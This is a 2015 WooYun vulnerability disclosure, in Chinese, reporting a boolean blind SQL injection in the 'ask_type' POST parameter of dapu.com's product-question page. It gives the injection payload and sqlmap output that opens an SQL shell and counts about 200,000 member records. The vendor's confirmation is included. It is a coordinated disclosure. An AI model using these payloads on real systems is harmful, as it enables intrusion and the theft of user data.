漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-092700
漏洞标题：大朴网主站盲注可能威胁十多万用户敏感信息
相关厂商：大朴网
漏洞作者： greg.wu
提交时间：2015-01-19 16:36
修复时间：2015-03-05 16:38
公开时间：2015-03-05 16:38
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-19： 细节已通知厂商并且等待厂商处理中
2015-01-20： 厂商已经确认，细节仅向厂商公开
2015-01-30： 细节向核心白帽子及相关领域专家公开
2015-02-09： 细节向普通白帽子公开
2015-02-19： 细节向实习白帽子公开
2015-03-05： 细节向公众公开
简要描述：
我上一个大朴网的主站注入，开始在前台，给rank的是却变成小厂商了。。。莫名其妙啊。。。
审核同学你看我提交的漏洞一般都是内容详实，生动感人，简直是良心白帽子，这次不能小厂商了。。。
详细说明：
上一次提漏洞的时候叫检查代码，好像没啥效果，今天又发现一个
商品咨询处
post类型
url：www.dapu.com/product-update_ask-690.html
post data：ask_type=%e5%95%86%e5%93%81%e5%92%a8%e8%af%a2&page=1&total=12
注入参数 ask_type
payload：' and '1'='1 mysql布尔盲注
漏洞证明：
看看有多少用户数据
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ask_type (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ask_type=%e5%95%86%e5%93%81%e5%92%a8%e8%af%a2' AND 4226=4226 AND 'iNRe'='iNRe&page=1&total=12
---
[08:17:51] [INFO] testing MySQL
[08:17:51] [INFO] confirming MySQL
[08:17:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[08:17:51] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from ocsprd.sdb_ome_members
[08:18:22] [INFO] fetching SQL SELECT statement query output: 'select count(*) from ocsprd.sdb_ome_members'
[08:18:22] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[08:18:22] [INFO] retrieved:
[08:18:22] [WARNING] reflective value(s) found and filtering out
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n]
199814
select count(*) from ocsprd.sdb_ome_members: '199814'
sql-shell>
接近20w的数据，还是那句话，彻查代码，肯定还有其他地方存在注入！
修复方案：
你懂的
版权声明：转载请注明来源 greg.wu@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2015-01-20 14:56
厂商回复：
非常感谢，另外不知道你说的小厂商是啥意思？
最新状态：
暂无
漏洞评价：
评论
-
@@不是我
( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)